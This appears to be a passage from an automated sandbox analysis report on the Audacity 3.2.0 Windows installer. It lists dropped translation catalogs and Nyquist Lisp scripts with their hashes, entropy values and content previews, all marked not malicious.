SHA-512:	D0991C4298706449819A200DC035930C507621B631E89B6FB1E5935925387F1F9E07ED2A8323B913D96726465C0468E2F0765D7A1336EB515C1CA3B604ED1C3C
Malicious:	false
Preview:	........................L........i.......i.......i..'...gj..:....j.......j..$....j..6....j..(...k......Sk.......k..\|....l..S....l..G...Rm......m..K....m.......n..m....n....../o.......o.......p......2q......9r......Br......Lr......Yr......br......ir......ur.......r.......r.......r.......r.......r..g....r..P....s......os..F....t......Jt..1...bt.......t......5u......2v.......v......]w.......x.......x.......y.......z.......z.......{......)\|......D}..0...c}.......}.......}..4....}.......}.......}.......~.......~.......~......#~......0~......7~......?~......H~......R~......Y~......a~......m~......w~.......~.......~.......~.......~.......~.......~.......~.......~.......~...................... .......3.......L.......R.......Z.......a.......e...8...k...;.......................7...........S.......n...................(.............................................................................................*.......3...J...>...........................-.......%......$..................

C:\Program Files\Audacity\Languages\tr\is-SKP1O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4339 messages, Project-Id-Version: audacity 3.0.3 '\011 ve'
Category:	dropped
Size (bytes):	355593
Entropy (8bit):	5.562823102589736
Encrypted:	false
SSDEEP:	6144:VFLnEQuBiCFPYRDjIoj5/asc+1A74zNx0TdZxPNRY6QP4W1wgKRgBFp/t:VR9uIVVA74QTnXCtKgp/t
MD5:	E9F068EAB04DC002A647CA7670B83D4C
SHA1:	E29391B1CB445E4195F7DFA9AAFF289B616CB957
SHA-256:	43CE95E0C98A3DF5ABAEEAF2CD4CE69952D79BE1DF043E6B8682D9DEF5C126BA
SHA-512:	D0991C4298706449819A200DC035930C507621B631E89B6FB1E5935925387F1F9E07ED2A8323B913D96726465C0468E2F0765D7A1336EB515C1CA3B604ED1C3C
Malicious:	false
Preview:	........................L........i.......i.......i..'...gj..:....j.......j..$....j..6....j..(...k......Sk.......k..\|....l..S....l..G...Rm......m..K....m.......n..m....n....../o.......o.......p......2q......9r......Br......Lr......Yr......br......ir......ur.......r.......r.......r.......r.......r..g....r..P....s......os..F....t......Jt..1...bt.......t......5u......2v.......v......]w.......x.......x.......y.......z.......z.......{......)\|......D}..0...c}.......}.......}..4....}.......}.......}.......~.......~.......~......#~......0~......7~......?~......H~......R~......Y~......a~......m~......w~.......~.......~.......~.......~.......~.......~.......~.......~.......~...................... .......3.......L.......R.......Z.......a.......e...8...k...;.......................7...........S.......n...................(.............................................................................................*.......3...J...>...........................-.......%......$..................

C:\Program Files\Audacity\Languages\uk\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.2.0 '\011 \321\226'
Category:	dropped
Size (bytes):	470815
Entropy (8bit):	5.588662879287881
Encrypted:	false
SSDEEP:	12288:68YEOVVA7Mg6lerSqjxu+DWqO8xoCZPwRtKRPHp:68tOPA7MI
MD5:	4D0088A81A89848583D95E7315A9AF18
SHA1:	A3F909E115D90E492ADACD2DFD35A0A6E7919E15
SHA-256:	6768DCDD6E4CEC350A8AB6E4228C0E89157A08ED82CEEB652DE202D385FA0626
SHA-512:	5A5410DE0552E96889038D968FEBC6410AE21666E4707D3481E7E41AC8D6264ACD8AE7D3C4D3ADB7D59529017DA31CC1898259C75DB5DC4C0B33298D56EA7C52
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\uk\is-1SRVN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.2.0 '\011 \321\226'
Category:	dropped
Size (bytes):	470815
Entropy (8bit):	5.588662879287881
Encrypted:	false
SSDEEP:	12288:68YEOVVA7Mg6lerSqjxu+DWqO8xoCZPwRtKRPHp:68tOPA7MI
MD5:	4D0088A81A89848583D95E7315A9AF18
SHA1:	A3F909E115D90E492ADACD2DFD35A0A6E7919E15
SHA-256:	6768DCDD6E4CEC350A8AB6E4228C0E89157A08ED82CEEB652DE202D385FA0626
SHA-512:	5A5410DE0552E96889038D968FEBC6410AE21666E4707D3481E7E41AC8D6264ACD8AE7D3C4D3ADB7D59529017DA31CC1898259C75DB5DC4C0B33298D56EA7C52
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\vi\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: Audacity '\011 v\303\240'
Category:	dropped
Size (bytes):	382640
Entropy (8bit):	5.785740518435238
Encrypted:	false
SSDEEP:	6144:6m72UB0sYRDjIoj5/asc+1A7M1eNmGRWjAmr6V01xsdCAMW5lNMMSZr9N3r6jnUD:6XVVA7M1eNmGRWjAmr6V01xsdCAMIl2R
MD5:	145DAB7BD18A53767B11A54D29863BA1
SHA1:	B7DA5F8FFAE453D44CD5896A6A16EFF3DD776C6F
SHA-256:	B1955CDEA63351C6FE44495AAB87928DA0E53E22D31D872E44731547DF206518
SHA-512:	B1DD0DD6FF8E6C88C440259B06325B60BFF53D5B94754C078310F1E71764D5E7479B5754B3C4966A0FC8E36356DB3E562F27C378965840818330C4CDBF6FB32A
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\vi\is-DG9PQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: Audacity '\011 v\303\240'
Category:	dropped
Size (bytes):	382640
Entropy (8bit):	5.785740518435238
Encrypted:	false
SSDEEP:	6144:6m72UB0sYRDjIoj5/asc+1A7M1eNmGRWjAmr6V01xsdCAMW5lNMMSZr9N3r6jnUD:6XVVA7M1eNmGRWjAmr6V01xsdCAMIl2R
MD5:	145DAB7BD18A53767B11A54D29863BA1
SHA1:	B7DA5F8FFAE453D44CD5896A6A16EFF3DD776C6F
SHA-256:	B1955CDEA63351C6FE44495AAB87928DA0E53E22D31D872E44731547DF206518
SHA-512:	B1DD0DD6FF8E6C88C440259B06325B60BFF53D5B94754C078310F1E71764D5E7479B5754B3C4966A0FC8E36356DB3E562F27C378965840818330C4CDBF6FB32A
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\zh_CN\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 3918 messages, Project-Id-Version: audacity 3.0.3 '\011 \345\222\214'
Category:	dropped
Size (bytes):	294281
Entropy (8bit):	6.284849475105776
Encrypted:	false
SSDEEP:	6144:VD52pGj92csxRDjWoLOS1oc+9A9b7BbgdI0N+2n475tEDeYVWn:+P2A9b7okn
MD5:	06C1A0197B288F6E1FCE638F2BE7083E
SHA1:	10108E04455B08E37B6C7448CDB2092F6E144DB5
SHA-256:	382A675F0B0C8FD5A493B6FFB7D24CAB5B21A3E952D455496FBC758839CCB6DD
SHA-512:	33BA233339618BD1DBF09DF4969681B9815A44887E5B0C23789E19ED0647763344A8925BF7D05394DBBE66AE869C5566B6FD229FCBE901D41FEFC11D2E16C17A
Malicious:	false
Preview:	........N........z..k............F.......F.......F..'...GG..:...oG.......G..$....G..6....G..(....H......3H.......H..\|...aI..S....I..G...2J..*...zJ..K....J.......J..m....K.......L.......L......hM.......N.......O......"O......,O......9O......BO......IO......UO......cO......nO......xO.......O.......O..g....O..P....O......OP.......P..1....P......-Q.......Q.......R......eS.......S.......T......iU......#V.......V.......W.......X.......X.......Y..0....Y......-Z......HZ..4...ZZ.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......[.......[.......[.......[......9[......T[......\[......c[.......[.......[.......[.......[.......[.......[.......[.......[.......[.......[.......\.......\.......\..8...!\..;...Z\.......\.......\.......\.......\.......].......]..(....]......A]......I]......P]......W]......c]......i]......o]......u].......].......].......].......]..J....].......].......^.......^..-....^..%...>^..$...d^.......^.......^..S....^......

C:\Program Files\Audacity\Languages\zh_CN\is-5KIHE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 3918 messages, Project-Id-Version: audacity 3.0.3 '\011 \345\222\214'
Category:	dropped
Size (bytes):	294281
Entropy (8bit):	6.284849475105776
Encrypted:	false
SSDEEP:	6144:VD52pGj92csxRDjWoLOS1oc+9A9b7BbgdI0N+2n475tEDeYVWn:+P2A9b7okn
MD5:	06C1A0197B288F6E1FCE638F2BE7083E
SHA1:	10108E04455B08E37B6C7448CDB2092F6E144DB5
SHA-256:	382A675F0B0C8FD5A493B6FFB7D24CAB5B21A3E952D455496FBC758839CCB6DD
SHA-512:	33BA233339618BD1DBF09DF4969681B9815A44887E5B0C23789E19ED0647763344A8925BF7D05394DBBE66AE869C5566B6FD229FCBE901D41FEFC11D2E16C17A
Malicious:	false
Preview:	........N........z..k............F.......F.......F..'...GG..:...oG.......G..$....G..6....G..(....H......3H.......H..\|...aI..S....I..G...2J..*...zJ..K....J.......J..m....K.......L.......L......hM.......N.......O......"O......,O......9O......BO......IO......UO......cO......nO......xO.......O.......O..g....O..P....O......OP.......P..1....P......-Q.......Q.......R......eS.......S.......T......iU......#V.......V.......W.......X.......X.......Y..0....Y......-Z......HZ..4...ZZ.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......[.......[.......[.......[......9[......T[......\[......c[.......[.......[.......[.......[.......[.......[.......[.......[.......[.......[.......\.......\.......\..8...!\..;...Z\.......\.......\.......\.......\.......].......]..(....]......A]......I]......P]......W]......c]......i]......o]......u].......].......].......].......]..J....].......].......^.......^..-....^..%...>^..$...d^.......^.......^..S....^......

C:\Program Files\Audacity\Languages\zh_TW\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.0.3 '\011 \345\222\214 '
Category:	dropped
Size (bytes):	338607
Entropy (8bit):	6.2934278449363985
Encrypted:	false
SSDEEP:	6144:6m72Uec8rhsYRDjIoj5/asc+1A7MmkJzPVnsk7WUJtpFTetf:61lVVA7MmkJ7Vnf7dJjNwf
MD5:	113322FC999A2ADC83DD226B5017799A
SHA1:	1083DC6B00156FB0261EA1B7FF237343582856A4
SHA-256:	302A22F8A7D8B2AB334BB264E7626D72D852A4370A682040E3860BB5AD8CFF07
SHA-512:	2D161DC5535004DC84E294921D3B2C9430193E0D6837A26AACF588ED937A62D79ACA3331E9F7DA59995D09853BD4FB8D1812B471F553119659AF72D6ED856EFA
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\zh_TW\is-1MOHQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.0.3 '\011 \345\222\214 '
Category:	dropped
Size (bytes):	338607
Entropy (8bit):	6.2934278449363985
Encrypted:	false
SSDEEP:	6144:6m72Uec8rhsYRDjIoj5/asc+1A7MmkJzPVnsk7WUJtpFTetf:61lVVA7MmkJ7Vnf7dJjNwf
MD5:	113322FC999A2ADC83DD226B5017799A
SHA1:	1083DC6B00156FB0261EA1B7FF237343582856A4
SHA-256:	302A22F8A7D8B2AB334BB264E7626D72D852A4370A682040E3860BB5AD8CFF07
SHA-512:	2D161DC5535004DC84E294921D3B2C9430193E0D6837A26AACF588ED937A62D79ACA3331E9F7DA59995D09853BD4FB8D1812B471F553119659AF72D6ED856EFA
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Nyquist\aud-do-support.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	11133
Entropy (8bit):	4.271218604614717
Encrypted:	false
SSDEEP:	192:OlYmK0Ot+uc3I3/OuHpRB2KqptwU1vMISWC5Al:Z+uc3ImYpKpVSWC6
MD5:	5569CEF07DC1A808DE159CA526D516E9
SHA1:	ABAAD7AE9F2100A3FBA914A8C729AC2A6846A74D
SHA-256:	4012428C746303DC4F79A20DA3198E59D8B6D3A12BEA39DE3825FDD6A14CE59F
SHA-512:	744BDD184AEF35A7A4A1B4F500E1E9E69BCE0E95B4B6C9983D376F62888A27F188B2CF0111FEAFFE0026E0C36A10114A31B5DA48F07C27863C7EEB33E0748FAA
Malicious:	false
Preview:	;;; A collection of helper functions and macros to make scripting Audacity commands..;;; easier and more Lisp-like...;;;..;;; Copyright 2018 - 2020 Audacity Team..;;; Steve Daulton..;;; Released under terms of the GNU General Public License version 2:..;;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html......(defun char-remove (ch str).. ;;; Remove all occurrences of character from string... (do ((out "").. (i 0 (1+ i))).. ((= i (length str)) out).. (if (char/= (char str i) ch).. (setf out (format nil "~a~a" out (char str i))))))....(defun number-string-p (str).. ;;; like digit-char-p for strings.. (unless (stringp str).. (return-from number-string-p nil)).. (let ((num (string-to-number str))).. (if (numberp num).. num.. nil)))....(defmacro string-append (str &rest strs).. ;;; Append one or more strings to 'str'.. `(setf ,str (strcat ,str ,@strs)))....(defun aud-print-command (cmd).. ;;; Print a quick reference for command argument

C:\Program Files\Audacity\Nyquist\dspprims.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24378
Entropy (8bit):	5.0046907750926115
Encrypted:	false
SSDEEP:	384:A/7KK9LdxEXkg5qn9R5uponlup2j33aGg3P3g/9P9Sy3Az6v:A/7vLdzg5qn9/uponlup2j3KdP3g99S2
MD5:	E88C2FFA16A8E1E277653511CDCD8612
SHA1:	1DF1E8739B5E683A82D974F33131A2A61C46BC50
SHA-256:	659436E8DE4EFE64EB868FC439ADA0DF89BCA8B2133F7373A535D3BB51DF62CD
SHA-512:	17751E448E0DA9009C3383332174AA0463B138E5347E95FC246539BB9A1D9BAD7E646532EAA86FC40BF3E72B3336EB118128861164619B9D1986690EBBBBBFEF
Malicious:	false
Preview:	;; dspprims.lsp -- interface to dsp primitives....;; ARESON - notch filter..;; ..(defun areson (s c b &optional (n 0)).. (multichan-expand "ARESON" #'nyq:areson.. '(((SOUND) nil) ((NUMBER SOUND) "center").. ((NUMBER SOUND) "bandwidth") ((INTEGER) nil)).. s c b n))....(setf areson-implementations.. (vector #'snd-areson #'snd-aresonvc #'snd-aresoncv #'snd-aresonvv))....;; NYQ:ARESON - notch filter, single channel..;;..(defun nyq:areson (signal center bandwidth normalize).. (select-implementation-1-2 "ARESON" areson-implementations .. signal center bandwidth normalize))......;; hp - highpass filter..;; ..(defun hp (s c).. (multichan-expand "HP" #'nyq:hp.. '(((SOUND) "snd") ((NUMBER SOUND) "cutoff")) s c))....(setf hp-implementations.. (vector #'snd-atone #'snd-atonev))....;; NYQ:hp - highpass filter, single channel..;;..(defun nyq:hp (s c).. (select-implementation-1-1 "HP" hp-implementations s c))......;; comb-delay-from-hz -- compute the delay argument..;;..

C:\Program Files\Audacity\Nyquist\envelopes.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5477
Entropy (8bit):	4.879279470306075
Encrypted:	false
SSDEEP:	96:zdGadzAjZEKXzuo4FFPJlvFP9hFPhyF+rIiCBdvoFPaFTgiFclFHlFwf1w:zdGA0Xz9IR1Q1arky
MD5:	14855F8E7EF6FB993467A9596E941AC6
SHA1:	3F808CC57E6E6E0E4096F7E39524ECE8CFEB27F4
SHA-256:	5C2699B94017B72A7992158B8C9F454EF7DBF748F949928D103A1B5A5A4D5850
SHA-512:	62718201AA2CD22B60C630FE0BCA07DE34C43AFF6ABDB27430C0E54097B2098C4D4EF3FF98F25F1531960BB3F298D432D6F3E9A5BF7C680C12FFF1F89ECEB8A5
Malicious:	false
Preview:	;; envelopes.lsp -- support functions for envelope editor in NyquistIDE....#\| In Nyquist, editable envelopes are saved as one entry in the workspace..named envelopes. The entry is an association list where each element..looks like this:....(name type parameters... )....where name is a symbol, e.g. MY-ENVELOPE-1,.. type is a function name, e.g. PWL, PWLV, PWE, etc., and.. parameters are breakpoint data, e.g. 0.1 1 0.2 0.5 1....Example of two envelopes named FOO and BAR:....((FOO PWL 0.1 1 1) (BAR PWE 0.2 1 1))....To convert envelope data into functions, call (MAKE-ENV-FUNCTIONS)...This function should be on the workspace's list of functions to call...(See ADD-ACTION-TO-WORKSPACE in Nyquist Manual.)....When the NyquistIDE wants to get the envelope data from the workspace, it..should call (GET-ENV-DATA), which will dump formatted data to Nyquist's..standard output as follows:....get-env-data: begin..name (type parameters...) newline..name (type parameters...) newline.......get

C:\Program Files\Audacity\Nyquist\equalizer.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2331
Entropy (8bit):	4.8573071457809975
Encrypted:	false
SSDEEP:	48:zl/UGLm9JecEzFPD4MHFPDHhEORiHrB+sFcYEz5F10gsndbFzF8V7FRqo:zVxZTzFPFFPu+vsFcH9FmvdbFzF8V7Fj
MD5:	1B4B83FF801CF010765A004BE8207ED5
SHA1:	73B1C73C5D0F83EC68570EA37CAF9ECAC032F2BD
SHA-256:	51C13855A836753EBEDF5FDB30A7B3E11985D862232DF7C7709923B6A312DD76
SHA-512:	03572BC378D0D31EFA145F1A333BD33F39AB8C5A200BB70495C8B14B0F5DCCAA5B5D2C9D716FFED2FB5420190548773C0BA71D9C45C8E206D6FC240DEB699094
Malicious:	false
Preview:	;; equalizer.lsp -- support functions for equalizer editor in jNyqIDE....#\| This is modeled after envelopes.lsp, which details how envelope data is ..exchanged between Nyquist and jNyqIDE.....The jNyqIDE code needs some work to make it look like the envelope..editor (which also needs work, but that's another matter). For consistency,..both should support named envelopes and equalizers.....However, for now, we have equalizers numbered from 0 to 9. The format for..exchange will be:....get-eq-data: begin..name parameters newline..name parameters newline.......get-eq-data: end....and when the IDE wants to save a definition, it should call..(DEFINE-EQ 'NAME 'PARAMETER-LIST)....\|#....(cond ((not (boundp 'equalizers)).. (setf equalizers nil)))....;; DEFINE-EQ -- save the eq data and make corresponding function..;;..(defun define-eq (name expression).. (setf equalizers (remove name equalizers .. :test #'(lambda (key item) (eql key (car item))))).. (pu

C:\Program Files\Audacity\Nyquist\evalenv.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1412
Entropy (8bit):	4.581814869742504
Encrypted:	false
SSDEEP:	24:799NUmEKRZktQmdHKMBNWNCq1/ZW1O+BwOpGGg2fMNFQUM3Nid4QpeBPxF57q:7iiGCmPWNCCZoO+BXp/gdQVNyYPxF52
MD5:	2A76238A9EF5B32DBF81BE22340C04CB
SHA1:	0CE6406E067C73771FB26178A9FB63564CF4EDEA
SHA-256:	B91D56918DD6830A4DA3050844F64B2111534704E6267BBF3D8033A4FA0807E5
SHA-512:	0637F18406FA52D7FB0AC7D92A0464B7912B8CA74F23B0C2B183A1E50927A25B920253D98A2C2888AE4435529CAE0C7C3A086D8B898570DFA0D68C3A508DAEA1
Malicious:	false
Preview:	;;..;; The EVAL function in the original XLISP evaluated in the current lexical..;; context. This was changed to evaluate in the NIL (global) context to..;; match Common Lisp. But this created a problem: how do you EVAL an..;; expression in the current lexical context?..;;..;; The answer is you can use the evalhook facility. The evalhook function..;; will evaluate an expression using an environment given to it as an..;; argument. But then the problem is "how do you get the current..;; environment?" Well the getenv macro, below obtains the environment by..;; using an evalhook form...;;..;; The following two macros do the job. Insteading of executing (eval <expr>)..;; just execute (eval-env <expr>). If you want, you can dispense with the..;; macros and execute:..;;..;;(evalhook <expr> nil nil (let ((evalhook (lambda (x env) env)))..;; (eval nil)))..;;..;; Tom Almy 10/91..;;....(defmacro getenv ().. '(progv '(evalhook) .. (list #'(lambda (exp

C:\Program Files\Audacity\Nyquist\fileio.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	17753
Entropy (8bit):	4.625561371109781
Encrypted:	false
SSDEEP:	192:zAqSALv+dpWqnNj1JdJK0kenSEEg7tTqUtGe2BrktxfsHK2gbTmiqaukEAIxjyNG:37cpWApNCng/BKXgbUxjyNXz0QoHp
MD5:	20DCE5DB02CA8916BFC84FD46361A2A0
SHA1:	B6E941BB385B0AE5E13A9EB7EFADC8AD71500289
SHA-256:	06BA36789A08FA5A7B471271166976175E4F1D9AC06BDB11556F4CB2E0AEC256
SHA-512:	62357312D1DCD3EE9CC1D2027C8435DB21E19BAB3B661DAA04F751C1A4A199D43FFCEB04E0C3B722231248BFB5F5777AE9C3C6BE164F51C1E253508FE47A7EF0
Malicious:	false
Preview:	;; fileio.lsp....;; if default-sf-dir undefined, set it to user's tmp directory..;;..(cond ((not (boundp 'default-sf-dir)).. ;; it would be nice to use get-temp-path, but when running.. ;; the Java-based IDE, Nyquist does not get environment.. ;; variables to tell TMP or TEMP or USERPROFILE.. ;; We want to avoid the current directory because it may.. ;; be read-only. Search for some likely paths..... ;; Note that since these paths don't work for Unix or OS X,.. ;; they will not be used, so no system-dependent code is .. ;; needed.. (let ((current (setdir "."))).. (setf default-sf-dir.. (or (setdir "c:\\tmp\\" nil).. (setdir "c:\\temp\\" nil).. (setdir "d:\\tmp\\" nil).. (setdir "d:\\temp\\" nil).. (setdir "e:\\tmp\\" nil).. (setdir "e:\\temp\\" nil)... (get-temp-path))).. (format t "Set *default-sf-

C:\Program Files\Audacity\Nyquist\init.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3453
Entropy (8bit):	4.7206036522032635
Encrypted:	false
SSDEEP:	96:+y3P1JUZ7I3DfJFcFPSRLsAq+OMzPl8nF/WFgdFaqqb14:+y/bB3DfqSRLsAq+RzyZd+J4
MD5:	01BA9638C2819F35421D88D0996B9327
SHA1:	1814A545540A90B2F956D64A522DB58E813FB58E
SHA-256:	A0B643B2E5A5B78203CA829A591A84AEE4D6CD15E3758FC788F1AC904D030CBC
SHA-512:	150D14AC25B10F06F65260450F7ED8741C18C7C9389DBBBAF626B7EBB0961FBCAECF0E55CEBA7ECCC881A63FD8842CC37798D6257F8D9D7E699D04CFFA578B52
Malicious:	false
Preview:	; init.lsp -- default Nyquist startup file....(setf breakenable t)..(load "nyinit.lsp" :verbose nil)....; add your customizations here:..; e.g. (setf default-sf-dir "...")....; (load "test.lsp")........;; "_" (UNDERSCORE) - translation function..;;..;; Third party plug-ins are not translated by gettext in Audacity, but may include a..;; list of translations named locale. The format of locale must be:..;; (LIST (language-list) [(language-list) ...]) ..;; Each language-list is an a-list in the form:..;; ("cc" ((list "string" "translated-string") [(list "string" "translated-string") ...]))..;; where "cc" is the quoted country code...;;..(setfn underscore _)..;;..(defun _(txt &aux newtxt).. (when (boundp 'locale).. (when (not (listp locale)).. (error "bad argument type" locale)).. (let* ((cc (get 'audacity 'language)).. (translations (second (assoc cc locale :test 'string-equal)))).. (if translations.. (let ((translation (second

C:\Program Files\Audacity\Nyquist\is-13T21.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.395540302542674
Encrypted:	false
SSDEEP:	24:SLkcO4N3+ZDHQG5Yk+36sB31m8evLVZ8/NebLRm2DgoU:SLkcO4NOZDwIYk+3VlmTvL8/Neb9rDgF
MD5:	DFA117281538AB8C1E14F418A752AA16
SHA1:	7064FB84C3DE98DADD2D2DB0898C2F3E75566C0A
SHA-256:	42C0AE55A3DE8E1233AF929742A26AA3957EDAF6673D0ED5AE3346FCE43C2CCA
SHA-512:	ECF800D8169A07361345D53DC6B6BAA1A9376E55467C5AEE614BEBE24D2C59D5048C36FED385C3F304F2461A42EAA4E0EFBB7F6094BF1152EAEA446372E21324
Malicious:	false
Preview:	.. (setfn seq-tag first).. (setfn seq-time second).. (setfn seq-line third).. (setfn seq-channel fourth).. (defun seq-value1 (e) (nth 4 e)).. (setfn seq-pitch seq-value1) ; pitch of a note.. (setfn seq-control seq-value1) ; control number of a control change.. (setfn seq-program seq-value1) ; program number of a program change.. (setfn seq-bend seq-value1) ; pitch bend amount.. (setfn seq-touch seq-value1) ; aftertouch amount.. (defun seq-value2 (e) (nth 5 e)).. (setfn seq-velocity seq-value2) ; velocity of a note.. (setfn seq-value seq-value2) ; value of a control change.. (defun seq-duration (e) (nth 6 e)).. .... (setf seq-done-tag 0) .... (setf seq-other-tag 1) .... (setf seq-note-tag 2) .... (setf seq-ctrl-tag 3) .... (setf seq-prgm-tag 4) .... (setf seq-touch-tag 5) .... (setf seq-bend-tag 6) ....

